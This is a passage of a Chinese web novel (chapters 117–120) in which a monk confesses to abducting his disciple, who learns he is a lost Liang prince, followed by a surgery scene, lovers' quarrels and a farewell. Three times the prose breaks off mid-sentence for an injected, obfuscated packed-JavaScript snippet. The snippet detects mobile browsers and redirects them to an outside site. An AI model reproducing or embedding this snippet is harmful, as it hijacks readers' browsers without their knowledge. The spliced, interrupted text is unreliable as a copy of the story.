这孩子在陶家过的清贫可怜,几乎把他这个师父当成救命恩人,得空就跑到山上依偎在他身边,催促他讲这些年当剑客的种种事迹。孩子圆滚滚的脑袋枕在他腿上,靠在他腋下,让他一向坚硬冰冷的心多了很多很多柔情。 困境也无法掩盖陶修身上与生俱来的气质,他像萧家的人,纯粹清亮的眼睛时刻都在提醒辛南佐那不堪回首的过往,太罪孽深重。辛南佐心里的愧疚与日俱增,越喜爱这个徒弟就越躲着他,时常出去一年半载才回来。他藏着秘密不肯吐露一个字,只有醉时才半真不假地哭泣:“麟儿,师父有愧于你啊。” 117.连他你也要杀 往事从辛南佐口中一件一件说出来,张城、阿八听的目瞪口呆,都盯着陶修的背影想从此人身上找到不同于他人的地方,张城暗想:此人必是身上刻了一个“贵”字,才令他不管是在江矶大营还是做斥候混在乞丐里都显得气质出众,难怪听他说不会写字时总有点不得劲的地方。 公仪林攥着陶修的手臂,此刻任何安慰的话都显得单薄,心疼怜悯他幼时的经历,远离江陵的一路上,五岁孩子的恐惧和绝望即便已永远过去,阴影还在侵蚀他的心,以致于至今都想不起任何一件微时的事情。公仪林尚且无法接受命运如此大的转变,何况是当事人,心疼之余也更在乎陶修此刻的心态。 两行清泪从陶修眼角滑下,他嘴唇紧闭,望着辛南佐久久没说一句话。 “麟儿,你说话?我知道你一定有很多问题要问?所有知道的我都告诉你,我跟你坦白,我真的坦白。” 他们都没想到这个早已成人的男人第一句话问的竟是母亲,“我的母亲,还活着吗?生离十六年,我还能不能见到她?” 陶修喉头发涩,哽咽难语。 “她活得很好,这些年我见过王妃几次,你和你母亲长得很像。” 陶修无法再控制情绪,又哭又笑,质问辛南佐:“你对两头的每个人都了解的清清楚楚,却不肯告诉我真相?你在怕什么师父?” “在你小时候,我从未想过有告诉你真相的一天,后来你慢慢大了,每回见你都让我良心不安,害怕你知道真相后视我为仇人,我,我宁愿背负枷锁隐瞒真相能时常看见你,也不想你我师徒二人决裂。” “你们都在怕,陶彪怕我逃走不肯告知真相,你怕我恨你也不停的隐瞒,我真就十恶不赦到你们都来瞒我吗?” 听到此言,公仪林的心也颤了一下,欺骗陶修的人何止两个,因为害怕,自己不也拖延至今不肯去替他寻找身世么! 师徒俩相对而跪,陶修伸手抚过辛南佐的光头,隐忍着哭泣问:“你这头发也是为我剃的吧?” 辛南佐用膝盖朝后退两步,对陶修缓缓稽首,沙哑地喊一句:“我掳走梁室世子,背叛河东王,杀人放火,罪大恶极,世子要杀要刮,罪人甘愿受罚。” 大堂寂然无声,听故事凑热闹的人都不敢开口,正当公仪林准备劝解时,贺功臣从堂中急着走过来,一把扶起陶修,道:“世子快请起。贺某对你的真实身份还需再确认,还请世子和诸位先去我后院歇息,有什么话可以坐下细说。这几日多有得罪,如确认世子身份,贺某定会亲自去漳南请罪。” 公仪林按住陶修的肩轻声道:“太守说的对,我们回去细说,你手腕里的银针要尽早取出来,跟我回去?” 陶修低声嗫嚅一句,公仪林没有听清,贴近他脸庞又细听一次:“康乐,你说什么?” “我很渴,给我水喝。” 公仪林才发现自己忽视了他的身体状况,慌忙转身回到席位把茶杯、茶壶都拎过来。陶修干裂的嘴抵在杯盏边缘没有饮下的动作,豆大的泪珠从失神的眼中滚下,他抬头对公仪林说:“槐序,那年,他们不给我水喝,我就跟现在一样口渴。” 大概是委屈辛酸到极致才会对最亲的人说出这句话,公仪林的心骤痛,陶修流淌在脸上的泪水比他的伤更让他难以忍受。 公仪林突然把行动不便的陶修打横抱起来,对身后的阿八下令:“我们走。” 张城扶起辛南佐欲跟上,只见公仪林将要跨出大堂时又倏地停下,把陶修转放到阿八怀里。他抽了阿八腰间的剑转身直奔贺功臣而去。 众人大惊失色,纷纷拔刀护卫太守,没人及时阻止他这一剑,目光落处,才发现他手刃的是太守身后的孙显。 剑从孙显身上抽出,鲜血喷溅一地,公仪林看着他慢慢瘫软在地,怒气不减:“这是替萧世子报的仇。快叫医工吧,能活命就算你能耐。”丢掉鲜血淋漓的剑转而对贺功臣抱拳,毫不客气道:“杀了太守的左膀右臂,尽管来找我公仪林复仇,太守今日的待客之道,我一样记在心里。” 贺功臣眯起阴沉的双眼,望着他们大摇大摆走出府衙,冷哼一声:放心,总有一日,你我会在战场上再见面。 回程的路上,陶修因连日来滴水未沾、伤势及一连串的精神打击,半途就晕倒在公仪林身上。一千军士和城主回城时,百姓全部拥挤在道路两侧围观热闹,他们看见马背上面色苍白的年轻城主歪在另一人身上,而城主似乎已经死了。 幸而张城快马赶回去准备车辆,及时把昏迷的城主藏在车里,才阻止“城主死了”的消息在人群里大肆传播。 县署有点混乱,一是大门外那些撵不走的百姓,都想确切了解与他们同耕同吃的城主大人是否还活着,二是回来的几个伤员都需要医工。 城里最负盛名的三位医工也被架到县署,在公仪林的威逼利诱下凑在一起商讨取出城主体内银针的方法。 一炷香过去,经三位医工一致诊断,银针都十分熟练地扎在使人无法行走、容易致残的经络上,要取出来很困难。公仪林只用一句话就把三个医工开山立派的医术给逼了出来:“按城主受伤的位置,你们每人选一处给自己扎下去,明天早上找到取针办法。” “办法肯定是有的,就是城主要受不小的罪。” “哪种罪?” “割开皮肉,把指头探进去,直到摸到针尖。” “简直胡说。” 三位医工忧心地等着他下决心。 公仪林太阳穴一阵一阵跳动,望着床上昏睡的人迟迟不敢做决断,此情此景他已经历过两次,弄得身心疲惫,这人命运可怜就罢了,还不知珍惜的到处受伤。他把求助的目光投向张城:“你觉得这个办法如何?” “还能有更好的办法?” “等他醒了再说吧,”他视线转向门外,又问:“辛师父在哪?” “坐在院子的松树下,不许任何人靠近。”张城先让三位医工下去歇着,等城主醒来做决定,坐到公仪林身旁,一起看着床上身份不一般的人,问:“他真是梁室的人?我怎么觉得在做梦?你要是城主,是高兴还是难过?会如何处置从小带他的师父?” “你少问几个问题比什么都好。” “谁都好奇,周石这会从校场还没赶回来,等他知道了比我问题还多?” “我一直都怀疑他的身世,只因这一二年有事绊住脚扰乱我去江陵走一趟的计划,是不是很奇怪我比他还清楚这意想不到的身世?因为他这个糊涂鬼一直活得小心翼翼,甚至有点卑微,就算我告诉他我的怀疑,他都不一定会信。” 张城对公仪林像介绍自己家人的口气很不爽,也逞能地说:“我也早就知道他不俗,我们这谁不喜欢他。”又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“共几人?” “四人。” 这时,公仪林轻击桌面以示赞同,“杀的好。” 陶修细想六年前杀死在汝丘城外的拐子,那段时节师父确实回过玉河村,说山中清凉要留下避暑。那日只因自己练剑休息时随口提过一句:“听说邻村抓到一个偷孩子的,我也想找到拐我至此的人。” 辛南佐躺在两棵树间的吊床上,闭目问他:“你想他死吗?” 陶修愕然,杀死一个人,当时还不在一个乡村少年的认知范围内,犹犹豫豫回答道:“我可能,可能希望他死。” 不久后就发生了城门前的那件事。 陶修对这件事没有任何只言片语,盯着辛南佐看很久,这个同时带给他磨难和恩德的人原来藏的这么深又如此罪孽深重。 但陶修是知恩图报的人,辛南佐带给他的不幸已然过去,恩德却在延续,“还有没有了?” 辛南佐垂手于两侧,像个正审的罪犯,抬起臃肿憔悴的脸,眼袋比往日更显眼,目光停留在公仪林身上,“前年夜袭漳南,公仪公子背上的一箭是我射的,我想过要杀他。” 陶修“噌”一下撑着书案站起来,怒火在脸上绽开,终于压不住怒气恨恨地问:“竟然连他也要杀,为什么?” 公仪林也愣住了,背后两年前受过伤的地方突然有点未愈的烧灼感,不过陶修的反应令他很满意,满意到几乎对辛南佐只有感激之情。 118.你说我怕什么 “杀他是一样的缘由,他也知道你身世,还有他……”辛南佐硬生生把后半截话掐在口中。 陶修向公仪林投去不可思议的目光,也陡然想起在永定寺古井边上写下的数个“萧琢”,“你一直都知道,你为何会知道?” “康乐……”公仪林瞪大眼睛,顿觉浑身冒汗,无意识地来回摩擦拇指和食指,“我,我跟你一样也是今日才知道真相,此前只是怀疑。你和辛南佐都透露过一些信息,更兼你手中的黑玉印做佐证,凭此疑点,前年见到萧钰父子时我有意提起岳阳王,可惜萧钰太警觉什么都不肯透露,只打听到你曾经的名字,但我不敢贸然跟你说……本想今年就去江陵——”他惶恐又语无伦次地解释,生怕说得不明白,陶修把他给归类到对其身世有预谋的一类里。 陶修暂时没心思跟他计较这件小事,仍旧问辛南佐:“除了身世,他还知道什么,你要杀他?” “他明知你身份,竟还敢玷辱你。”本是一件两情相悦的事,辛南佐却说出了仇苦大恨的味道,跪在地上昂然怒视公仪林,这个长得人模狗样的公子或许是利用贵族子弟的身份胁迫过徒弟吧。 一时间屋内静的可怕,听的、说的、当事人似乎都有点难堪,陶修噎了一下,没料到师父如此大胆。 还是公仪林清清嗓子打破僵局,起身走到辛南佐身边单膝跪地,尽可能表示他的尊敬,“师父,既然你都知道了,我就不瞒你。康乐与我在一起,并没有你所忧惧的受到欺骗和威胁,也没有利诱和蛊惑,君子有情就该大胆地讲出来,我与康乐同心合意,已许下终身的誓约。” 陶修把腰挺了挺,轻轻叹口气,这公子的话更暴露直白。 对生性粗糙的辛南佐而言,公仪林的几句剖白滑腻的就像故意挑衅,他哼一声瞥过头不予理会。 “假若公仪林死在你的箭下,我不保证我能饶过你,那一箭你手下留情了吧?” 辛南佐沉默不语。 公仪林从未想过替辛南佐犯下的罪过求情,但他试图缓和僵持中的师徒二人的关系,只能拿自身说话,意在说给陶修听:“师父,以你的身手,当晚的距离射穿我两个都不在话下。那次并未伤及筋骨,我不会怪辛师父,一点都没怪你。你们二人间的旧事我不便插手,但不想因我这点小事加重你们之间的怨恨。”陶修维护他的那股暖意好似在心头做了个窝,柔柔软软的,转头小声对他说:“康乐,我真的不打紧。” 他各种各样多情的自我攻略全部被陶修无视。 陶修陷在对师父种种恶行的迷惘中,不知该如何处置这个恩怨并存的人。饶恕?间接、直接死在他手里的人向谁伸冤,他和父母生离的十六年向谁索回,惩罚?又该用哪种方式惩罚杀人只是听命行事又数次在刀山火海中救下他的师父? “这几年你说过许多奇怪的话,多次对我身世欲言又止,我想过最坏的结果是我出身不详遭人遗弃,而你可能受人之托来照顾我,不然那年你为何突然出现在小钟山。哀痛的事已发生多年,现在说什么怪罪的话早就于事无补,我终究跪在你面前拜过师礼。师父,我真的对你心存感激,感激你的手上没有我亲生父母的性命。”陶修掀起衣裳一角非常迅速擦掉眼泪,吸了下鼻子,声音忽而转冷:“你起来吧,回永定寺去,哪天我想通了就去永定寺见你。” 辛南佐伏身于地,“我是穷凶极恶的人,早就不该活在这世上,过去我一直盼着你成家立业,除此而外我对今世再无留恋,项上人头暂且寄着,不管是世子还是岳阳王,只要说一声,辛南佐一定心甘情愿捧上人头。” 他的身影溶于蝉声嘶鸣的夏夜里,走到院旁时驻足回首,见陶修不肯目送,他扬天叹息,望着夜空的天河和繁密璀璨的星辰,发现自己看似漫天星斗一样热热闹闹活了半生,如今再看,空活的五十年竟没做过一件对事,流浪十几年,曾经用血洗手的拎刀人做了慈悲的和尚,唯一至亲的人还在恨他,大抵这就是惨淡失败的一生吧。 身心的疲惫和中箭的手臂让陶修精神萎靡,眼中失去往日神采,他以手撑额盯着书案上微弱的灯苗,一句话都不想说。像有个阀门被开启,他想起很多儿时的旧事,人与物皆乱糟糟一团,无法分清是回忆还是梦境,但肯定的是,他确实叫萧琢。 他久久的沉思让只有两人的屋内陷入一种让人坐立不安的寂静。公仪林坐在光晕外的阴影里纹丝不动,他想给陶修足够多的时间消化和接受这件事,也给自己一些时间考虑二人之间的身份和地位问题。 自得知陶修真实身份起,公仪林有种要挨雷劈的担忧,怎么就胆大包天的把他哄骗到床上了呢? 此刻,精神遭受打击的陶修越发需要另一种情感安抚杂乱不安的心,但见那人坐在角落迟迟不肯过来说句话,哪怕就过来说一句熨帖的话,都不会像现在这样滞闷,他恼火地把灯一吹,下了逐客令:“你回去歇息吧。” 做贼心虚的公仪林窸窸窣窣站起来,轻叹口气,声音从暗中传来:“那就早些睡,明日给你拔针的医工都被我留在县署,你要有准备,是剜肉的疼。” “送他们回去,万一夜里有人急诊找不到医工。” “那好,我这就去吩咐。”欲言又止,却不知要说什么! 隔着朦胧的夜色,两人都感受到对面人语气的生硬。公仪林关上门要走时,屋内突然传出巨大响动,他一把推开门走进去,果然是爱逞强的人摔倒了。 “我还是留下吧。虽然会有点热、有点挤、有点怕、有点累,不过我能克服。我先扶你去躺下,等我出去让人护送医工回家再来,你别乱动。”把陶修从地上抱起,习惯的掂一把,才发现这行为又逾越了,把他放到床上匆匆就走了。 他走后很久都没回来。 陶修望着帐顶的轮廓无法安睡,焦躁地等着,敏锐地聆听门外动静。门扉轻轻推开,门缝吱呀的声音拉的又长又脆,公仪林走至床沿放下纱帐,用没指望陶修能听见的声音唤了声:“康乐?” 陶修立即瓮声应了一下。 公仪林惊了一瞬,讪讪地说:“我以为你睡了。今日发生的事太多,明日还有取针的大事,早点歇着吧。” “留下陪我说说话。”他摸索到公仪林的右手拽了上去,顺势坐起来,窗外嘶闹的蝉鸣已静止下,屋内有点燥热,“如果可以,我还想出去走走。” “老老实实待着吧,那针游走到腹部可不像蚂蟥用火烤烤 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公仪林手中的扇子慵懒地扇着,闻言,微微侧过身,一双眼在黑暗里晶亮,“萧琢,我连直呼你名都有点胆怯,你说我怕什么?” 陶修嗤笑一声,不冷不热地取笑道:“我以为公仪公子有多大的胆量,原来就这么点本领。” “康乐,等你伤好后,下一步怎么走?” “想不想跟我去趟江陵?” “义不容辞。去了之后如何,你要留下?当年想你死的人已归顺大陈远在郢州,你回去后定会引起梁室大乱,你可能会有很多结局和下场?” “说说会有什么下场?” “好的结局就是,岳阳王迎回失散多年的麒麟儿,梁室给你加官封爵,本该有的都会回到你手中,人人皆大欢喜,但这仅是美好的愿景,实在难以成真。” “下场又会怎样?” “萧钰会再杀你一次,”公仪林慎重地描述最糟糕的可能性,“梁主也会杀你,尽管你是如假包换的萧琢,他也会杀你。” “他为何杀我?” “梁主困于江陵一角,虽还手握荆州重镇,但想翻起大浪已然不可能,他把从你父亲岳阳王手中解下的兵权交到萧钰手中,令其与陈联手共御周国,梁主的目的不言而明,做附庸国的主和对周称臣都一样,不管结局如何,不如宁为玉碎尽力一搏。你的出现会威胁萧钰的性命,梁主宁愿舍弃你这个陌生的侄儿也不能妨碍萧钰的计划。” “大陈接纳萧钰,岂不是养虎为患?难道大陈也是为了荆州?”陶修用手碰碰公仪林的手臂,公仪林立即展开扇面给他扇风。 “没错,荆州这块肥肉谁不要想,周国一旦名正言顺得到荆州,水师实力大增,大陈岌岌可危。” 陶修没再说话,长久的沉默以致公仪林认为他睡着了,又替他扇了几下风准备睡时,忽听陶修低声说:“我不过是想见见他们,还有我未曾谋面的兄弟。萧梁、世子?于我而言太过遥远。” “康乐,我跟你去江陵,该有的东西你都要拿回来,即便是个空头身份。” “嗯,睡吧,养好伤再说。” 119.终于有了生辰 城主拔针一事给三位医工带来不小的压力,所有压力都是来自站在城主身边的年轻人。 他对医工“指点江山”的行为俨然是个行家,指手画脚颐指气使,医工的每一个举动必问是做什么用,还反复叮嘱:“刀具要用沸水煮过三遍,手洗了几次?双手打不打颤?胡须都先扎起来以免挡了视线……” 医工里总有脾气倔的,其中一个甩着手上的水,冷声冷语:“我们动刀时还请这位公子站到门外,小心话多影响老夫的刀法。” 陶修躺在竹子制成的凉床上,摊开裸露的四肢,像只待割的羔羊,见公仪林在屋内一阵乱忙,笑着劝道:“出去吧,脖颈的伤都忍下了,还在乎这点。” 他也确实以极强的毅力忍下疼痛,几乎把衔在嘴里的一块软布咬烂。每一刀都像割在天灵盖上,尖锐的痛楚火辣辣地流遍周身。仅取右臂的银针就把一身衣裳湿透,他用左手抓住床沿,不肯从牙缝挤出一点声音,竹席上露出一层淡淡的汗湿印迹。 脾气怪的医工提议先取一只手臂,养好伤再动足腕,陶修深深吐出一口气,坚定不移:“不必费事,继续吧。” 足腕的刀口割的更长,医工洗过四五遍的手指在肉里翻搅摸探,陶修的脑袋被疼痛折磨的空茫茫一片,有种从高崖坠落时飘忽眩晕感,固定住的腿不停挣扎乱动,医工几乎把身子压在他腿上,擦拭额头的汗劝道:“城主,疼就喊出来,哪个说大丈夫就一定忍得了疼?” 守在门外的人一直未听到动静,猜测事情进展的很顺利,直到医工打开门让他们隔着门槛远远望上一眼,才知城主早就晕过去了。 公仪林恨的咬牙切齿,大骂孙显:“昨日该把姓孙的畜生捅上三刀,阿八,明日给我探探孙显死了没,没死就给我再添几刀。” 后面的阿八大声应道:“遵命!”应声归应声,阿八也了解公子的生性,这就是脾气上来的模样。 周石依在门边伸长头,比谁都想见见传闻中的萧世子,自昨日他们回来起,还没机会单独跟陶修见面,“他真的是梁国人?没弄错?大和尚危急下的鬼话吧?我一看见大和尚就怵的慌,他口中说什么都有可能。” 张城冷哼哼回答:“等醒了自己问。” 周石:“我比你们都先认识城主,那年龙舟比赛,他瘦瘦高高的一个孩子,模样可怜兮兮的,谁知还有这样身世,操蛋的辛南佐。” “比我还可怜。”张城点头赞同,望着竹凉床上手腕脚腕用白布包扎严实的城主,真心觉得他可怜。 “此事若发生在我身上,辛南佐别想活了,城主竟能毫无波澜。”周石又嘀嘀咕咕一句:“如果他真是梁国人,城主不是很快就要离开大陈了?” 三位医工收拾好“酷刑”现场,把三根银针端给公仪林验视,还把割肉探针的过程描述的血腥夸张,又称赞城主性子坚韧,至昏迷都没哼一声。但凡他们稍微有点眼力,必能发现眼前年轻人的脸色早阴沉的不像样。 “取针事小,后续伤口的保养才须十分小心,天气炎热,城主大人一定要安心静养,伤口一旦发肿流脓,重的可危及性命。” 陶舒走在医工身旁,将养伤的禁忌一一用心记下,要在离开漳南前把兄长给养的肥肥壮壮。 陶修被汗水濡湿的衣裳需换下,换衣之前,心怀坦荡的江旋替他擦拭脸和四肢的潮气,指尖挑着柔软的布小心翼翼擦掉伤口周边的血迹,不时抬眸看他一眼,几不可闻的轻轻叹息,越瞧着床上的人越同情怜悯他。 公仪林没想过有朝一日会和这个女人成为情敌,还停在张城与绒润即将成为一对的印象里。他拿块在热水里湿过的布走到江旋身边,从她手中默默夺过陶修的左臂,冷声道:“我来擦。” 江旋又换个位置,甚至没看他一眼 ,“你手重,细致的活还是我来吧。” “你的意思是我没有照顾人的能力?” “你没有。” 公仪林和她还真杠上了,又兼同乡之间讲话顺畅,二人开始针锋相对,“我给陶修端过茶、烧过他家灶炉,就擦擦身子还分手重手轻?” 江旋不甘示弱:“我家人身子不如意,煎药、熬夜守床都是我,这段时间陶大哥喝的烫都是我炖的。” “他上回受伤住到我绒华院,你以为都是别人在照顾?” “他的房间是我打扫的。” 为不吵醒竹凉床上的病人,两人的声音竭力压低,仍能从通红的耳朵看见硝烟弥漫。 司子也挤在门外的一群人当中,冷眼旁观,公子为争风吃醋连这些幼稚的话都能讲出来,披风的系带都懒的动手的人,这会竟什么都会了,又不是争“照顾人大赛”魁首,有必要吗! 屋内那俩人还在悄悄地吵。 “等我给陶大哥换身干净衣裳,我们外面算账。” “你算什么账?” “当年一脚的仇恨。我不明白你为何如此针对我,小家子气?” “你说我小家子气?” 江旋指指门外和窗边的一窝男人,睨眼瞧着公仪林:“他们当中随意拽出一个都比你心胸开阔,对我也恭恭敬敬客客气气,就你,自你来的第一日起就对我横眉冷眼。”女孩子家脸皮还是薄些,想到一些委屈险些就哭出来,蹙蹙鼻头继续说:“前些天在井边,你都看见我了,竟然端个盆冷脸撂脚就走,我跟你又无过节,还是同乡,为什么处处为难我?真是没有风度的假君子。” 公仪林见她变脸,张皇失措走至她跟前用身体挡住门外的视线,低头小声央求道:“我的错,我的错。好姑娘别恼,一会锦意看见你哭会笑话的吧。除了换衣裳需避避外,你陶大哥的擦洗、梳发都交给你,我确实下手重。” 江旋破涕为笑,得胜的头颅昂的高高的,拿过一把篦子正要给陶修梳发时,忽见躺着的人肩头耸动,发出笑声,她把头探到陶修脸上,见他已醒了,喜不自胜叫道:“你醒了,你醒了。” “我一直在听你们二人斗嘴,槐序,你也有被骂的一天。” 公仪林站到凉床另一侧,应和道:“江姑娘骂的对,我会改。你的刀伤现在是什么感觉?” “像被人肢解过丢在这里。”陶修把右臂小心举到眼前,触摸包扎紧实的布带,有些伤感有些玩笑地问:“如此反复,何时是个头?槐序,我跟你去建康吧?”说话声有气无力,眼睛疲惫,神思似乎也无法集中,并不知自己说出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493306|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口的会给公仪林带去多大的期望。 “好,我求之不得。” * 县署带水井的小院里有棵长势浓密的葡萄藤,葡萄架下摆两张乘凉用的竹椅,在城主养伤这段平和宁静的时间里,每个人都在各自忙碌。陶舒一心要把兄长喂壮喂肥,江良则带着锦意讨她舅舅欢心,周石的精力都在校场,而张城和江旋就躺在葡萄架下的两张竹椅上心平气和就绒润一事诚心地交谈,解开一些不必要的误会后,二人明确地定下终身。 江旋明白对这个实实在在接触过、并非一个人躲在房间幻想出来的男人,才是真正的喜欢。虽口头定下终身,但她还想给张城最后一次选择的机会,吓唬道:“江家的条件很苛刻,我给你的承诺暂且不能算数,还要回家确认过父亲的意思才能给你准备答复,你知道娶我的条件是什么吗?” 他们背对着随时会有人来提水的古井,坦荡地用茂盛的葡萄架做遮掩,张城勾住她的小指摇了两下,承诺道:“我知道,不就是赘婿嘛?我们沭阳郡的男人豪爽大方,敢爱敢恨不拘一格,喜欢的人就会大胆追求。我知道我出身不好配不上你,但我一直在上进,一定会拼出个前途来。我比任何时候都想有个至亲的家人,入赘一事在我看来根本不是障碍。想到今后在远方也有我思念的人,肚腹都是吃饱饭的满足感。” “你的思念还真有些烟火气。” 天气越发炎热,静养半个多月的陶城主终于行动自如,田里栽种的稻子扎稳根后长的又粗又壮,望不到尽头的一片绿意。 公仪林已定下启程日期,亲自收拾了几样贵重东西,把陶修弄虚作假写给他的一封封信和那尊木雕小心翼翼压在包袱下面。陶修见他过分重视,稍有愧色地解释道:“里面都是无关紧要的废话,你一定会大失所望。” “废话就废话,也是你挖空心思哄我的话。” 陶舒端着刚炖好的排骨汤进来,开口就说:“我就知道阿兄一定在公仪公子房中,何时你们能分开片刻?” 此话落音,二人相视而笑,像做了一回贼。 陶舒端坐在陶修对面,监督他把一大碗汤喝掉。陶修大口喝汤的模样让她想起小时候的一些事情,“阿兄,你终于知道自己真实的生辰了,小时候你总会跟我一起过,骗我说跟我是同一天出生,我还信以为真,那时候过生辰也喝不到这碗排骨汤,我们会每人吃一个水煮蛋。” 陶修应着她的话说:“都是一样大的蛋,你还要从中挑小的。” 说者无意,一旁听的人心里却愣怔了一下,公仪林坐在边上静听这对兄妹的家常对话,目光在喜欢的人身上停留,此人五岁后就失去生辰,他的年少时期还真是要多寒碜就有多寒碜。 今年酷热的盛夏因他寻回身世似乎并不那么燥热了。 将要离开那几日,公仪林亲自到街上转悠,买回几坛自称是城中他敢称第二就无人敢说第一的桂花酿,跟陶修也坐到古井旁的葡萄架下乘凉品酒。 一包炸至酥脆的小鱼和咸豆子放到石桌中间,公仪林递给陶修一坛酒,两人碰了一下,“我没办法等到你生辰那日再走,今日就你我二人小饮几杯吧,恭贺你寻回真正的生辰。” 120.真般配的两人 “出去一上午,原来就是弄这些!” 公仪林饮下一口,双手在胎面粗糙的黑酒坛上来回搓,满腹的话想讲出来,却只能挑着说:“所有辛酸的经历都不会再经历,以后你会诸事顺遂。” “但愿如此。” “其实我很想你能履行两年之约,看眼下可能是我在奢望。刚来那几天见你小城主当的风生水起,我就已经不忍心劝你丢下这里的一切,现在你的另一重身份更让我望而却步。康乐,今后你的路想怎么走就怎么走,无需顾虑我的想法。” 陶修愣了一下,在他真心投入甚至依赖这份感情时,锦公子却说出如此意志不坚的话,转过头冷笑一声,“你呢?” “我就站在你身后,供君选择,直到我看不到希望那天为止。”公仪林给出一个肯定严肃的答案。 “好啊,等我去了江陵,若还有机会活着回来,第一个就去找你。” “认亲能把命弄丢,这亲不认也罢。这大半个月来,辛师父一步都没走出过永定寺,你准备何时去见他?” “暂时不想见。” “他对你有仇也有恩,能不能原谅他,有时候只是一瞬间想通的事。” 陶修仰望头顶一串快要成熟的圆润剔透的绿葡萄,伸出长臂碰了它一下,挤出一抹勉强的笑,“没有他种下的仇,何来我需报他的恩?” 石桌底下,不知何时跑来一只狸猫,半伏在地上戒备地啃着鱼头,随时做出要逃窜的架势。公仪林丢一条小鱼给它,咪咪唤两声,对陶修说:“像这只猫一样戒备又容易逃的人是你,我从未动摇的心意已跟你坦白了,余下的选择都交给你。” 陶修敛眸不答。 这时,院门外传来张城的声音,还有一声清脆的笑声。一路说笑的二人刚跨进门口忽而都僵住,尴尬地看着葡萄架下喝酒的公子。 “你们怎么来这了?”公仪林问。 “这里凉快,你们来得,我们也来得。”张城笑道。 江旋转身欲走,张城一把拽住她的手臂。 公仪林起身追出几步,“江姑娘?站住。”目光扫到二人拉在一起的手时才明白这些天的误会有多荒唐,登时喜形于色、心胸开阔,笑问张城:“如此好事,你这张嘴咬的挺严。”探过头对后面双颊绯红的江旋说:“江姑娘,我正要跟你赔礼。” 江旋以为是这位好心公子缓解尴尬场面的客套话,忙回道:“我原谅你了,那件小事不必再提。” 只见公仪林果真从怀里掏出一样东西,双手捧到江旋面前说:“这对金镯是我来此之前让宫里金银局打的,原本是要留给我那可爱的甥女,她那么一丁点就先靠后站吧。此物当是我给江姑娘的赔礼,还望姑娘不要嫌弃。” “你的甥女?” 陶修走近接了话,解释道:“是锦意。” 这对金镯是活口,两端以龙首相接,一龙口中衔红色玉石,镯身雕了龙鳞,式样常见,工艺却无比精巧,江旋接了沉甸甸的镯子细细看过一遍,推却道:“如此贵重我不能收,何况还是给小锦意的东西。” “不必在意,锦意已有了我给的长命锁,等她大了我再补上不迟。” 江旋总觉得其中有点不对劲,奇怪地问:“为何你把锦意说的跟自己甥女一样?该补也是她舅舅补。” 陶修咳嗽一声,正色道:“舅舅那份也不会少。” 四人在葡萄架下把余下的两坛桂花酿喝个精光。公仪林有眼力见,喝光酒后就从石凳上站起来把手递给陶修拉了他一把,对沉醉在绵绵情意中的两人作揖道:“就不打搅二位在此纳凉,我和康乐还有其他事要忙,先回去了。” 两人长身玉立,并肩而行,慢悠悠走过桂花树的阴影,跨过小院门,身影从墙上的窗眼里一格一格的消失不见。 江旋望着二人的背影直至消失,转首对张城道:“与四五年前相比,他们就像脱胎换骨过,尤其陶大哥,感觉不是同一个人。”末了又轻声加一句:“真般配的两人。” 张城听清了她的嘀咕,把后牙槽咬的咯吱响,硬生生把她夸赞的两人的秘密咬碎在口中吞下去,不痛不痒的跟着说一句:“确实般配。” 分别那日,陶修把公仪林等人送至城外,口中说着送君千里终有一别,送了一程又一程,直至郊外的一片林子前停下,此林离城近二十里地,再往前就是平坦的官道。从清晨出发时的清凉到现在烈日如火,酷暑把离别的愁绪烧的没剩几分,个个汗流浃背,纷纷催促公子快些上路。 公仪林把身旁撑伞遮阴的绒润撵去马车里,和陶修走进树林深处。 绒润收了伞准备上车,阿八殷勤地跑过去扶她一把,虽不知绒润此趟来的目的,但见她能一道回都城,阿八说不出的兴奋。来时的一路同行,对鲜少接触女人的阿八来说,绒润偶尔给他端去几杯润桑的水足够融化这男人铁一样的心。 这片树林并不茂盛,但有几株笔直粗壮的水杉投下巨大阴凉,几缕刺目的光线强硬地从繁密的枝叶间穿透,洒在二人的身上。 公仪林把陶修轻抵在水杉树上,与之额头相触,两人就静静的立着,直到公仪林扶上陶修的腰忍不住捏两把,叹口气说:“做好你的小城主,等我消息,在你去江陵之前圣上会召你入都城,我会在城中迎接萧世子。” “圣上要召见我?” “嗯,既然决定去江陵,就要给一个保全你性命的官职。” “别再为我费心,我怕你最后会竹篮打水。” “不准再说这种话。”他在陶修嘴上轻啄一下,毕恭毕敬行了一礼,“萧世子,就此别过,我们建康再会。” 那人撩起衣袍跳上马车,至路尽头都没肯掀开挡帘回看一眼。 陶修也上马回城,再次从马上回头遥看车队已不见的方向,摇头发笑:“真是个不近人情的小子。” 辛南佐回到永定寺就再也没离开过,终日跟在认真禅师的师弟天真禅师身后敲打枯燥无味的木鱼。 寺院人来人往,进进出出的善男信女在佛前一跪,都带着希冀离开。辛南佐也向佛祖许愿,可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503096|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想重新活一次的愿望太贪,佛祖闭目不应。 日暮西山,一地残阳,他负手立在山门前眺望那个不可能出现的人。 